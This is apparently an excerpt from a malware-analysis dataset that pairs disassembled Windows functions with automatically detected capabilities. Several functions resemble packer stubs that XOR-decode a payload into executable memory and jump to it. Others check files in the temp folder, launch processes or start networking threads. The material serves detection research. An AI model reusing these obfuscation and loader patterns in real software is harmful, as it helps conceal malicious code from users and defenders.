joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42ef2e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x42ef3d
pop dword [ebp - 0x38]
mov eax, 0x351db9e3
sub eax, 0x34dacaa6
sub dword [ebp - 0x38], eax
push 0x40
push 0x1000
push 0x4aa50
push 0
mov eax, 0xa7cb74dc
add eax, 0x587bbbd4
add eax, dword [ebp - 0x38]
call dword [eax]
mov ecx, 0x4a4c
mov edi, eax
mov ebx, 0xb08f869c
sub ebx, 0xb040ae9c
add ebx, dword [ebp - 0x38]
mov edx, 0xe0a9c066
mov dword [ebp - 0x2c], 0x3e99b1ac
mov esi, dword [ebx]
xor dword [ebp - 0x14], esi
xor esi, edx
add dword [ebp - 0x14], 0xa2a6c8f1
mov dword [edi], esi
add dword [ebp - 0xc], edi
add edi, 0xe4593d68
sub edi, 0xe4593d64
add ebx, 0xb2a183c7
sub ebx, 0xb2a183c3
loop 0x42ef90
add eax, 0x34a9c9d2
sub eax, 0x34a8adcf
mov ebx, eax
add eax, 0xac862f6c
add eax, 0x5379d099
mov ecx, 0x56fe3955
sub ecx, 0x56be3955
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x433f6c
Capabilities:
Identify system language via api

Disassembly:
push 4
mov eax, 0x467308
call fcn.00452564
mov esi, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], 1
call dword [sym.imp.kernel32.dll_GetThreadLocale]
push eax
mov eax, esi
call fcn.0042ef2e
pop ecx
call dword [sym.imp.kernel32.dll_GetUserDefaultUILanguage]
movzx eax, ax
push eax
mov eax, esi
call fcn.0042ef2e
pop ecx
call dword [sym.imp.kernel32.dll_GetSystemDefaultUILanguage]
movzx eax, ax
push eax
mov eax, esi
call fcn.0042ef2e
mov eax, esi
mov dword [esp], 0x409
call fcn.0042ef2e
pop ecx
mov eax, esi
call fcn.0045263c
ret
Function at 0x43946a
Capabilities:
Check mutex on windows

Disassembly:
push 0xa8
mov eax, 0x46ce6e
call fcn.00452564
push str.Global_MSIExecute
xor esi, esi
push esi
push 0x100000
call dword [sym.imp.kernel32.dll_OpenMutexA]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 1
mov dword [ebp - 4], esi
cmp eax, esi
je 0x43953c
push dword [ebp + 8]
push eax
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
mov dword [ebp - 0x14], eax
cmp dword [ebp + 8], esi
je 0x43951c
cmp dword [0x49c100], 1
jg 0x43951c
lea eax, [ebp - 0xb4]
push eax
call fcn.00402794
lea eax, [ebp - 0xb4]
push str.finish_waiting_for_mutex:
push eax
mov byte [ebp - 4], 1
call fcn.00405526
pop ecx
pop ecx
push dword [ebp - 0x14]
lea eax, [ebp - 0xb4]
push eax
call fcn.0040ad34
lea eax, [ebp - 0xb4]
push eax
push 0x1c8
push 1
mov ebx, str.msi::waitForInstallationCompletion
mov edi, str.c:_ade_jenkins_workspace_8_2_build_windows_i586_cygwin_jdk8u241_331_install_src_windows_common_MsiUtils.cpp
mov esi, 0x49c100
call fcn.004016c6
lea eax, [ebp - 0xb4]
mov byte [ebp - 4], 0
call fcn.004015e8
cmp dword [ebp - 0x14], 0x102
jne 0x43953c
xor bl, bl
or dword [ebp - 4], 0xffffffff
push dword [ebp - 0x1c]
call fcn.0042ef2e
pop ecx
mov al, bl
call fcn.0045263c
ret
mov bl, 1
jmp 0x439527

Function at 0x444307
Capabilities:
Get common file path

Disassembly:
push ebp
sub esp, 0x240
lea ebp, [esp - 4]
mov eax, dword [0x4976a0]
xor eax, ebp
mov dword [ebp + 0x240], eax
push 0x14
mov eax, 0x4699d5
call fcn.00452564
xor esi, esi
lea eax, [ebp + 0x38]
push eax
push esi
push esi
push 0x2c
push esi
mov dword [ebp - 0x10], esi
call dword [sym.imp.shell32.dll_SHGetFolderPathW]
cmp eax, esi
je 0x44435d
push 0xc8
lea esi, [ebp - 0x20]
call fcn.0042ef2e
push 0x487864
mov eax, esi
push eax
call fcn.0042ef2e
lea eax, [ebp + 0x38]
push eax
lea eax, [ebp]
call fcn.0041dfc8
push 0x482424
push eax
lea eax, [ebp + 0x1c]
mov dword [ebp - 4], esi
call fcn.0042ef2e
push ebx
mov ecx, eax
mov byte [ebp - 4], 1
call fcn.00443078
add esp, 0xc
push 1
xor edi, edi
lea esi, [ebp + 0x1c]
call fcn.0041a86e
push 1
lea esi, [ebp]
call fcn.0041a86e
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x240]
xor ecx, ebp
call fcn.0044a628
add ebp, 0x244
leave
ret

Function at 0x44a628
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4976a0]
jne 0x44a632
repz ret
jmp fcn.00454985
Function at 0x4214a3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x4214b2
pop dword [ebp - 0x10]
mov eax, 0xb0fbc831
sub eax, 0xb0b9b37f
sub dword [ebp - 0x10], eax
push 0x40
push 0x1000
push 0x3de7e
push 0
mov eax, 0x37e3e927
sub eax, 0x37a1970f
add eax, dword [ebp - 0x10]
call dword [eax]
mov ecx, 0x50250677
sub ecx, 0x5024bdff
mov ebx, eax
mov esi, 0xdb47b792
sub esi, 0xdb046392
add esi, dword [ebp - 0x10]
mov edx, 0xba14d470
add dword [ebp - 0xc], 0x77b3878d
mov edi, dword [esi]
sub dword [ebp - 8], 0xd6c96474
xor edi, edx
mov dword [ebx], edi
xor dword [ebp - 4], 0xddf5d346
add ebx, 4
add esi, 4
loop 0x42150b
add eax, 0x1d3aadf0
sub eax, 0x1d39993d
mov ebx, eax
add eax, 0x8cfcffef
add eax, 0x73030016
mov ecx, 0x400000
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x403d39
Capabilities:
Encode data using xor

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 0xc], esi
jbe 0x403e85
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegDisablePredefinedCacheEx]
push edi
mov edi, dword [esp + 0x10]
call ebx
add byte [esi + edi], 0x3f
call ebx
add byte [esi + edi], 0xc8
call ebx
xor byte [esi + edi], 0x88
call ebx
add byte [esi + edi], 0x81
call ebx
add byte [esi + edi], 0xe6
call ebx
add byte [esi + edi], 0x27
call ebx
add byte [esi + edi], 0xee
call ebx
xor byte [esi + edi], 0xd7
call ebx
add byte [esi + edi], 0xc
call ebx
add byte [esi + edi], 0x59
call ebx
xor byte [esi + edi], 0x66
call ebx
add byte [esi + edi], 0xb
call ebx
add byte [esi + edi], 0x7e
call ebx
add byte [esi + edi], 0x63
call ebx
add byte [esi + edi], 0x7f
call ebx
add byte [esi + edi], 0x9f
call ebx
xor byte [esi + edi], 0x6c
call ebx
add byte [esi + edi], 0x6e
call ebx
add byte [esi + edi], 8
call ebx
add byte [esi + edi], 0x18
call ebx
add byte [esi + edi], 0x20
call ebx
add byte [esi + edi], 0x66
call ebx
add byte [esi + edi], 0x9e
call ebx
add byte [esi + edi], 0x93
call ebx
add byte [esi + edi], 0x88
call ebx
xor byte [esi + edi], 0xfd
call ebx
add byte [esi + edi], 0x90
call ebx
add byte [esi + edi], 0x62
call ebx
add byte [esi + edi], 0x44
call ebx
add byte [esi + edi], 0x2c
call ebx
add byte [esi + edi], 0x76
call ebx
xor byte [esi + edi], 0xab
call ebx
xor byte [esi + edi], 0xd6
call ebx
xor byte [esi + edi], 0x1b
call ebx
add byte [esi + edi], 0x5c
call ebx
add byte [esi + edi], 0x97
call ebx
xor byte [esi + edi], 0x20
call ebx
add byte [esi + edi], 0x1b
call ebx
add byte [esi + edi], 0x7b
call ebx
xor byte [esi + edi], 0x16
call ebx
add byte [esi + edi], 0x81
call ebx
xor byte [esi + edi], 0x2b
call ebx
add byte [esi + edi], 5
call ebx
xor byte [esi + edi], 0x59
call ebx
add byte [esi + edi], 0x89
call ebx
xor byte [esi + edi], 0xf9
call ebx
add byte [esi + edi], 0xa2
call ebx
add byte [esi + edi], 6
call ebx
add byte [esi + edi], 0xa1
inc esi
cmp esi, dword [esp + 0x14]
jb 0x403d52
pop edi
pop ebx
pop esi
ret

Function at 0x403f0f
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x20
mov eax, dword [0x4460ec]
xor eax, esp
mov dword [esp + 0x1c], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x30]
xor ebp, ebp
push edi
mov eax, dword [esi + 0x3c]
mov ebx, dword [eax + esi + 0x78]
add ebx, esi
mov edi, dword [ebx + 0x20]
mov eax, dword [ebx + 0x18]
add edi, esi
mov dword [esp + 0x10], eax
test eax, eax
je 0x403f78
mov eax, dword [edi]
lea ecx, [esp + 0x14]
add eax, esi
push eax
call fcn.00401b44
lea eax, [esp + 0x14]
push 0x14d
push eax
call fcn.004040e6
pop ecx
pop ecx
cmp eax, dword [esp + 0x38]
je 0x403f90
lea ecx, [esp + 0x14]
add edi, 4
call fcn.00403ab2
inc ebp
cmp ebp, dword [esp + 0x10]
jb 0x403f40
xor edi, edi
mov ecx, dword [esp + 0x2c]
lea eax, [esi + edi]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00405f4c
add esp, 0x20
ret
mov eax, dword [ebx + 0x24]
lea eax, [eax + ebp*2]
movzx ecx, word [eax + esi]
mov eax, dword [ebx + 0x1c]
lea eax, [eax + ecx*4]
mov edi, dword [eax + esi]
lea ecx, [esp + 0x14]
call fcn.00403ab2
jmp 0x403f7a
Function at 0x401200
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
imul esi
not eax
or eax, 0x5f
bswap ebx
imul eax
rcl ebx, 0x66
not eax
sbb edi, 0x2f
or ebx, 0xa1
not esi
not edx
inc ebx
dec ebx
mov eax, 0x4b
not esi
and esi, 0x18
rcr ebx, 0x7f
imul edx
imul edi
neg esi
imul ebx
dec esi
not edi
dec eax
sub esi, 0x2f
and esi, 0x8d
not eax
ror esi, 7
sbb eax, 0xbf
not edx
bswap ebx
imul ebx
dec edx
rol ebx, 2
inc edx
dec edi
dec edi
inc eax
ror eax, 0xab
mov esi, 0xbe
rcr edx, 0xb4
sbb esi, 0x21
sbb edi, 0xcb
bswap ebx
add ebx, 0xcf
rcl eax, 0x62
sbb edi, 0xdd
sub ebx, 0xd0
neg ebx
inc edx
xor ecx, ecx
xor edi, edi
inc esi
sbb edi, 8
neg edx
not edx
and eax, 0x6e
neg edx
rcr edx, 0x1f
bswap edi
rcr esi, 0xb7
bswap eax
sub esi, 0x1c
bswap ebx
inc edi
rol edi, 0x7a
rcr edx, 0x5b
mov ebx, 0x77
rcl ebx, 0x39
rcr eax, 0x10
and esi, 0x5a
not ebx
sub esi, 0x65
mov edi, 0xcb
add eax, 0x8f
and esi, 0xd7
dec edi
sub edx, 0xf2
not esi
neg edx
mov ebx, 0x83
inc edx
inc edx
neg edx
imul ebx
rcl eax, 0x72
or ebx, 0x3a
dec esi
inc esi
rol edi, 0x4a
not esi
ror eax, 0x7f
mov ebx, 0xc3
sub edi, 0x5e
neg eax
or ebx, 0xa7
neg edi
rcr eax, 0x5f
not eax
mov edx, 0xe6
not ebx
imul ebx
mov ecx, dword [ebp + 0xc]
dec edi
imul esi
mov ebx, 0xb2
rcr ebx, 0x9e
dec esi
bswap edi
not edi
rol eax, 0x98
dec edx
sbb ebx, 0xfa
sub ebx, 0x7d
dec edx
add edi, 0xed
neg ebx
mov esi, 0x9f
sub eax, 0x5b
dec esi
imul eax
sub edx, 0xbb
rol edx, 0xdc
ror edi, 0x95
bswap edi
sub eax, 0xee
neg esi
mov edx, 0x34
neg esi
bswap edi
inc edx
sbb edi, 0xac
sub edx, 0xf0
rcl edi, 0x5c
add eax, 0xf1
not ebx
dec esi
sub esi, 0x2b
bswap edx
bswap esi
imul edx
or edi, 0x2a
bswap edx
neg ebx
not edi
neg ebx
rcr ebx, 0xb5
add eax, 0x5b
imul eax
rol ebx, 0x97
bswap eax
add edi, 0xf7
dec eax
mov edi, dword [ebp + 8]
xor esi, eax
xor eax, eax
xor eax, eax
not byte [edi]
xor ebx, ebx
xor eax, eax
xor ebx, esi
add byte [edi], 0x56
xor ebx, eax
xor ebx, esi
xor ebx, ebx
sub byte [edi], 0x34
mov ebx, eax
xor ebx, ebx
xor ebx, ebx
imul byte [edi]
inc edi
loop 0x4013b8
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x401000
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
sub esp, 0x41c
mov eax, dword [0x41804c]
xor eax, esp
mov dword [esp + 0x414], eax
push ebx
push esi
push edi
mov ecx, 0x414c38
call fcn.00403a7a
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x401122
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call fcn.004080b0
add esp, 0xc
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x21a]
push eax
mov word [esp + 0x21c], dx
call fcn.004080b0
add esp, 0xc
lea ecx, [esp + 8]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov esi, 0x419e70
jmp 0x401080
cmp word [esi], 0
je 0x4010b6
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x214]
push 0x104
push eax
call fcn.0040459d
add esp, 0xc
push esi
lea ecx, [esp + 0x214]
push 0x104
push ecx
call fcn.0040460c
add esp, 0xc
add esi, 0x118
cmp esi, 0x41a3e8
jl 0x401080
mov esi, 0x419e70
lea esp, [esp]
cmp word [esi], 0
je 0x4010e6
push edi
push 0x414c38
mov ecx, esi
call fcn.0040425c
add esp, 8
add esi, 0x118
cmp esi, 0x41a3e8
jl 0x4010d0
push 0x41ac40
lea edx, [esp + 0xc]
push 0x104
push edx
call fcn.0040460c
add esp, 0xc
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x401120
mov ebx, 2
mov eax, ebx
mov ecx, dword [esp + 0x41c]
pop esi
pop ebx
xor ecx, esp
call fcn.0040458e
add esp, 0x41c
ret
Function at 0x4013f0
Capabilities:
Check if file exists
Create process on windows
Get common file path
Get file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x210
mov eax, dword [0x41804c]
xor eax, esp
mov dword [esp + 0x20c], eax
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x419da0
push 0x67
push esi
call edi
push 0x64
push 0x419cd8
push 0x6d
push esi
call edi
mov eax, esi
call fcn.004015a0
push 0
push esi
push 0
push 0
push 0
push closesocket
push 0
push closesocket
push 0xcf0000
push 0x419da0
push 0x419cd8
push 0
mov dword [0x419e68], esi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
jne 0x401482
mov ecx, dword [esp + 0x214]
pop edi
pop esi
xor ecx, esp
xor eax, eax
call fcn.0040458e
mov esp, ebp
pop ebp
ret 0x10
push 0x6d
push esi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
call fcn.00402a23
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call edi
call fcn.00401f80
test eax, eax
je 0x4014b3
call fcn.00403124
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00401a40
test eax, eax
je 0x40146a
test byte [0x41a3ec], 7
je 0x4014ca
call fcn.00401140
mov ecx, dword [0x41a6c8]
test ecx, ecx
jbe 0x4014f4
cmp word [0x41a6cc], 0
jbe 0x4014f4
mov esi, 0x41907c
call fcn.0040384c
mov ax, word [0x41a6cc]
mov word [0x41908c], ax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov eax, 0x10624dd3
mul ecx
mov eax, edx
xor edx, edx
shr eax, 6
mov ecx, 0x3e8
div ecx
push edx
push 0x414ce4
mov edx, 0x41ac40
call fcn.00401c20
call fcn.004038b0
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x1a]
push eax
mov word [esp + 0x1c], dx
call fcn.004080b0
add esp, 0x14
lea ecx, [esp + 8]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x41ac40
lea edx, [esp + 0xc]
push 0x104
push edx
call fcn.0040460c
add esp, 0xc
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x401596
push 0x1f4
call edi
push 1
push 0
push 0x414ce0
lea ecx, [esp + 0x14]
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x4016f0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub esp, 0x414
mov eax, dword [0x41804c]
xor eax, esp
mov dword [esp + 0x410], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x21e]
push ecx
xor ebx, ebx
mov word [esp + 0x220], ax
call fcn.004080b0
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x22]
push eax
mov word [esp + 0x24], dx
call fcn.004080b0
add esp, 0x18
push 0x104
lea ecx, [esp + 0x218]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
push 0x414d00
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
xor edx, edx
push 0x414d44
push ecx
mov word [esp + 0x228], dx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x401796
mov ebx, 1
push 0x414d50
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x414d44
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x4017c1
or ebx, 2
push 0x414d98
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x414d44
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x4017ec
or ebx, 4
push 0x414de8
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x414d44
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x40181a
or ebx, 0x100
push 0x414e40
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x414d44
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x401848
or ebx, 0x200
push 0x414e98
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x414d44
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x401876
or ebx, 0x400
mov ecx, dword [esp + 0x41c]
pop edi
mov eax, ebx
pop esi
pop ebx
xor ecx, esp
or eax, 0x2000000
call fcn.0040458e
add esp, 0x414
ret
Function at 0x401a40
Capabilities:
Create thread
Initialize winsock library

Disassembly:
sub esp, 0x3a4
mov eax, dword [0x41804c]
xor eax, esp
mov dword [esp + 0x39c], eax
push ebx
push edi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x1a2]
push ecx
mov word [esp + 0x1a4], ax
call fcn.004080b0
add esp, 0xc
lea edx, [esp + 8]
push edx
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ebx, 0x41a840
call fcn.00401c40
test eax, eax
jne 0x401b59
jmp 0x401aa0
movzx ecx, word [eax + 0x414ef8]
mov word [eax + 0x41a9e8], cx
add eax, 2
test cx, cx
jne 0x401aa0
push 0x414f04
push 0x40
push 0x41a844
call fcn.0040459d
add esp, 0xc
push 0x414f20
push 0x10
push 0x41a8c6
call fcn.0040459d
add esp, 0xc
push 0x414f2c
push 0x40
push 0x41a8e6
call fcn.0040459d
mov eax, 0x51
mov ecx, 0x2b70
add esp, 0xc
mov word [0x41a8c4], ax
mov word [0x41a966], cx
xor eax, eax
jmp 0x401b10
movzx ecx, word [eax + 0x414f48]
mov word [eax + 0x41a9c8], cx
add eax, 2
test cx, cx
jne 0x401b10
mov eax, 0x41a9c8
add eax, 0xfffffffe
mov edi, edi
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x401b30
mov edx, dword [0x414f58]
mov cx, word [0x414f5c]
mov dword [eax], edx
mov word [eax + 4], cx
mov dword [0x41aa08], 5
call fcn.004033fc
lea edi, [esp + 0x198]
call fcn.0040336e
xor eax, eax
lea esp, [esp]
movzx ecx, word [esp + eax + 0x198]
mov word [eax + 0x41a800], cx
add eax, 2
test cx, cx
jne 0x401b70
push 0x41a800
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x401bbd
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop ebx
mov ecx, dword [esp + 0x39c]
xor ecx, esp
call fcn.0040458e
add esp, 0x3a4
ret
push 0x41a800
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x401ba4
push 0x414f2c
call fcn.00403485
add esp, 4
mov dword [0x41a6c8], eax
call fcn.004018a0
push 0
push 0
push 0
push 0x4037b1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [esp + 0x3a4]
pop edi
pop ebx
xor ecx, esp
mov eax, 1
call fcn.0040458e
add esp, 0x3a4
ret
Function at 0x401ce0
Capabilities:
Get common file path
Read file on windows

Disassembly:
sub esp, 0x210
mov eax, dword [0x41804c]
xor eax, esp
mov dword [esp + 0x20c], eax
push ebx
xor ebx, ebx
cmp edi, ebx
je 0x401df3
cmp esi, ebx
je 0x401df3
mov eax, esi
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x401d10
sub eax, edx
sar eax, 1
je 0x401df3
push 0x206
lea ecx, [esp + 0xe]
xor eax, eax
push ebx
push ecx
mov word [esp + 0x14], ax
call fcn.004080b0
add esp, 0xc
cmp dword [esp + 0x218], ebx
jne 0x401d7a
cmp dword [0x419070], 3
jne 0x401d7a
push 0x104
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x414f7c
lea ecx, [esp + 0xc]
push 0x104
push ecx
call fcn.0040460c
add esp, 0xc
jmp 0x401d8a
lea edx, [esp + 8]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
lea eax, [esp + 0xc]
push 0x104
push eax
call fcn.0040460c
push 0x414f80
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x18]
push edx
mov dword [esp + 0x1c], ebx
call fcn.004048ef
mov eax, dword [esp + 0x1c]
add esp, 0x18
cmp eax, ebx
je 0x401df3
push eax
push 1
push 0x200
push edi
call fcn.00404be2
mov eax, dword [esp + 0x14]
push eax
call fcn.00404c76
add esp, 0x14
mov eax, 1
pop ebx
mov ecx, dword [esp + 0x20c]
xor ecx, esp
call fcn.0040458e
add esp, 0x210
ret
mov ecx, dword [esp + 0x210]
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.0040458e
add esp, 0x210
ret

Function at 0x401eb0
Capabilities:
Get common file path
Write file on windows

Disassembly:
sub esp, 0x210
mov eax, dword [0x41804c]
xor eax, esp
mov dword [esp + 0x20c], eax
push edi
push 0x206
xor edi, edi
lea ecx, [esp + 0xe]
xor eax, eax
push edi
push ecx
mov word [esp + 0x14], ax
call fcn.004080b0
add esp, 0xc
mov dword [esp + 4], edi
cmp esi, edi
je 0x401f62
lea edx, [esp + 8]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x414f60
lea eax, [esp + 0xc]
push 0x104
push eax
call fcn.0040460c
push 0x414fa0
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x18]
push edx
call fcn.004048ef
mov eax, dword [esp + 0x1c]
add esp, 0x18
cmp eax, edi
je 0x401f47
push eax
push 1
push 0x200
push esi
call fcn.00404e54
mov eax, dword [esp + 0x14]
push eax
call fcn.00404c76
add esp, 0x14
mov eax, 1
pop edi
mov ecx, dword [esp + 0x20c]
xor ecx, esp
call fcn.0040458e
add esp, 0x210
ret
mov ecx, dword [esp + 0x210]
mov eax, edi
pop edi
xor ecx, esp
call fcn.0040458e
add esp, 0x210
ret
Function at 0x4028a0
Capabilities:
Delete file
Get common file path

Disassembly:
sub esp, 0x414
mov eax, dword [0x41804c]
xor eax, esp
mov dword [esp + 0x40c], eax
push ebx
push esi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x212]
push ecx
mov word [esp + 0x214], ax
call fcn.004080b0
add esp, 0xc
push 0x200
xor esi, esi
lea edx, [esp + 0xc]
push esi
push edx
call fcn.004080b0
add esp, 0xc
lea ebx, [esp + 8]
call fcn.00401e10
test eax, eax
je 0x402a0a
xor eax, eax
mov edi, edi
movzx ecx, word [eax + 0x414f2c]
mov word [eax + 0x41a4f8], cx
add eax, 2
test cx, cx
jne 0x402900
xor eax, eax
jmp 0x402920
movzx ecx, word [esp + eax + 0x8e]
mov word [eax + 0x41a3f0], cx
add eax, 2
test cx, cx
jne 0x402920
xor eax, eax
lea esp, [esp]
movzx ecx, word [esp + eax + 0xc]
mov word [eax + 0x41a470], cx
add eax, 2
test cx, cx
jne 0x402940
cmp dword [0x419070], 3
mov ax, word [esp + 0x8c]
mov cx, word [esp + 0x12e]
mov word [0x41a4f0], ax
mov word [0x41a578], cx
mov dword [0x41a57c], 5
je 0x402999
lea edx, [esp + 0x208]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x4029c6
push 0x104
lea eax, [esp + 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x414f7c
lea ecx, [esp + 0x20c]
push 0x104
push ecx
call fcn.0040460c
add esp, 0xc
push 0x414f88
lea edx, [esp + 0x20c]
push 0x104
push edx
call fcn.0040460c
add esp, 0xc
lea eax, [esp + 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, 1
pop esi
pop ebx
mov ecx, dword [esp + 0x40c]
xor ecx, esp
call fcn.0040458e
add esp, 0x414
ret
mov ecx, dword [esp + 0x414]
mov eax, esi
pop esi
pop ebx
xor ecx, esp
call fcn.0040458e
add esp, 0x414
ret

Function at 0x402a23
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0xa0]
sub esp, 0x120
mov eax, dword [0x41804c]
xor eax, ebp
mov dword [ebp + 0x9c], eax
and dword [0x419070], 0
push 0x11c
lea eax, [ebp - 0x80]
push 0
push eax
call fcn.004080b0
add esp, 0xc
lea eax, [ebp - 0x80]
push eax
mov dword [ebp - 0x80], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x402aad
mov eax, dword [ebp - 0x78]
push 5
pop ecx
cmp dword [ebp - 0x7c], ecx
jne 0x402a8c
cmp eax, 2
jae 0x402a82
cmp eax, 1
jne 0x402aad
mov dword [0x419070], 3
cmp dword [ebp - 0x7c], 6
jne 0x402aad
test eax, eax
jne 0x402aa2
mov dword [0x419070], 4
jmp 0x402aad
cmp eax, 1
jne 0x402aad
mov dword [0x419070], ecx
mov ecx, dword [ebp + 0x9c]
xor ecx, ebp
call fcn.0040458e
add ebp, 0xa0
leave
ret